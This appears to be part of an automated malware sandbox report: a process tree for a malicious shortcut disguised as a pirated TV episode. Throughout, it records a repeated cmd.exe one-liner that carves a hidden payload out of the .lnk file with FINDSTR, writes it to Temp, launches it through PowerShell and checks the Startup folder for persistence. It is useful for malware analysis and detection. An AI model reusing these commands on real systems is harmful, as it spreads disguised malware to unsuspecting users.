        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        215⤵
        
        PID:1424
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        216⤵
        
        PID:5912
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0486" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        217⤵
        
        PID:5048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        217⤵
        
        PID:4544
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        218⤵
        
        PID:3064
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0553" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        219⤵
        
        PID:5460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        219⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5112
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        220⤵
        
        PID:4120
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0640" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        221⤵
        
        PID:1372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        221⤵
        
        PID:5096
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        222⤵
        
        PID:5856
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0701" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        223⤵
        
        PID:5052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        223⤵
        
        PID:2452
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        224⤵
        
        PID:3440
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0761" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        225⤵
        
        PID:1124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        225⤵
        
        PID:3396
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        226⤵
        
        PID:4888
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0814" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        227⤵
        
        PID:3296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        227⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4756
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        228⤵
        
        PID:5072
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0875" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        229⤵
        
        PID:2652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        229⤵
        
        PID:1532
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        230⤵
        
        PID:3220
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0923" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        231⤵
        
        PID:5668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        231⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1736
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        232⤵
        
        PID:4884
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0998" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        233⤵
        
        PID:1668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        233⤵
        
        PID:3160
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        234⤵
        
        PID:4376
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0066" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        235⤵
        
        PID:5516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        235⤵
        
        PID:5320
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        236⤵
        
        PID:4952
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0122" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        237⤵
        
        PID:1076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        237⤵
        
        PID:4688
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        238⤵
        
        PID:1752
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0187" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        239⤵
        
        PID:5700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        239⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:564
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        240⤵
        
        PID:1448
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0253" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        241⤵
        
        PID:3588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        241⤵
        
        PID:1140
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        242⤵
        
        PID:2976
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0323" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        243⤵
        
        PID:2032
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        243⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:232
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        244⤵
        
        PID:4820
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0386" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        245⤵
        
        PID:3480
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        245⤵
        
        PID:2928
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        246⤵
        
        PID:5984
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0444" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        247⤵
        
        PID:2872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        247⤵
        
        PID:4456
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        248⤵
        
        PID:4604
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0511" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        249⤵
        
        PID:2440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        249⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4936
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        250⤵
        
        PID:3136
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0569" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        251⤵
        
        PID:5980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        251⤵
        
        PID:4552
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        252⤵
        
        PID:4892
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        253⤵
        
        PID:3096
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0630" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        253⤵
        
        PID:1860
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        253⤵
        
        PID:4592
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        254⤵
        
        PID:1168
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0694" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        255⤵
        
        PID:4028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        255⤵
        
        PID:5784
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        256⤵
        
        PID:5812
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0755" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        257⤵
        
        PID:4808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        257⤵
        
        PID:1000
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        258⤵
        
        PID:5128
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0809" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        259⤵
        
        PID:652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        259⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2904
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        260⤵
        
        PID:2956
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0873" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        261⤵
        
        PID:5176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        261⤵
        
        PID:1184
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        262⤵
        
        PID:2652
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0953" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        263⤵
        
        PID:4396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        263⤵
        
        PID:1064
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        264⤵
        
        PID:5436
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0042" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        265⤵
        
        PID:5752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        265⤵
        
        PID:2820
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        266⤵
        
        PID:252
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        267⤵
        
        PID:5216
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0106" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        267⤵
        
        PID:3368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        267⤵
        
        PID:1144
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        268⤵
        
        PID:3768
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0170" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        269⤵
        
        PID:5116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        269⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3680
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        270⤵
        
        PID:4516
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0239" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        271⤵
        
        PID:2084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        271⤵
        
        PID:4788
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        272⤵
        
        PID:4328
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0326" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        273⤵
        
        PID:4488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        273⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2404
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        274⤵
        
        PID:3048
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0384" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        275⤵
        
        PID:5244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        275⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5368
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        276⤵
        
        PID:3224
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0434" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        277⤵
        
